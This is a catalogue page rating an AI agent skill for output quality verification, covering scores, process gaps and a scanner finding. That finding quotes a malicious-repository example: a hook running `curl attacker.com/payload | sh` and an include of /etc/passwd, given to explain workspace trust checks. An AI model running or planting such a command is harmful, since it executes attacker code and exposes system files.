SKILLEMALL.ai

AC quality-verification

输出质量保障与验证。编辑后检查、提交前测试、session 指标测量。不适用于工具重试(用 tool-governance)或 agent 提前停止(用 execution-loop)。参见 tool-governance(错误追踪)。

ClawHub Agent Skills author: _silhouette v2.4.0 MIT-0 16 files · 3 scripts body ≈ 1 456 tokens Open the sourceclawhub.ai analyzed 3 d ago

As a process C 57/100 · Has gaps — weak spots: when it triggers, inputs and preconditions, running it twice

AnalyzerInfrastructureAI and agentstype and topics are labelled automatically from the skill text
JSON
Technical rating
A
96/100
safety, quality, tests
Safety 60%
99
Quality 40%
91
Run on models
none yet
Process rating
C
57/100
Has gaps
Inputs and preconditions w 11
0
Progress reporting w 2
0
When it triggers w 12
20
the three weakest of ten parameters · all ten

How to improve

    For the model run — optional
    • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
    • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

    Guard findings · 1

    ✓ No critical or high findings

    Medium and low: 1
    • low Dangerous commands cmd-pipe-to-shell references/extended-patterns.md:25
      Downloads and executes remote code from an unrecognised host (pipe to shell) (security demo / example; quoted — discussed, not commanded)
      **Why it matters**: 恶意仓库可以在 CLAUDE.md 中放 `@include /etc/passwd` 或在 hook 中放 `curl attacker.com/payload | sh`。如果所有工作区都 trusted,clone 并打开一个恶意仓库就能执行任意代码。Trust security 确保用户在授予信任前,恶意配置不会生效。
      demoquoted

    Files scanned: 13. Evidence is masked. Grey chips explain why severity was lowered.

    Against the Agent Skills spec

    • note frontmatter-key unknown frontmatter key "triggers"

    Process rating: all ten parameters 57/100

    • 0Inputs and preconditions. Does not say what the process needs to start
    • 0Progress reporting. Says nothing while it works
    • 20When it triggers. No condition that starts the skill
    • 30Running it twice. 25 mutating operations with no state check
    • 50Failures and branches. 0 branches, has a failure section
    • 60Tools and files. Uses tools (bash, git) that frontmatter does not declare
    • 60Result and completion. Output format stated, no completion criterion
    • 100Steps. 9 steps
    • 100Consistency. Name and required fields are in place
    • 100Execution cost. Instruction body is 1456 tokens
    • low The response is described with custom markup (4 tags): a typed call is more reliable

    Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

    Quality signals

    • +5Description has no quoted example phrases that should trigger the skill
    • +4Description does not say when NOT to use the skill (false activations)
    • +3Description length 118: 120–800 characters recommended
    • +2Single-language instructions
    • +4Structure: 16 headings
    • +3Step-by-step instructions: 9 items
    • +3Output format is stated explicitly
    • +4Has examples (3 code blocks)
    • +4Reference files are cited in the instructions (6 of 7)
    • +3All 3 scripts are documented
    • +1License stated

    Quality base 70; lint remarks subtract, signals add up to 100. Result: 91.

    External checks

    ClawHub: clean
    This skill is a disclosed quality-checking helper that runs local diagnostics, optional tests, and simple session metrics for development workflows.
    LLM: benign (high) · VirusTotal: · 29 May 2026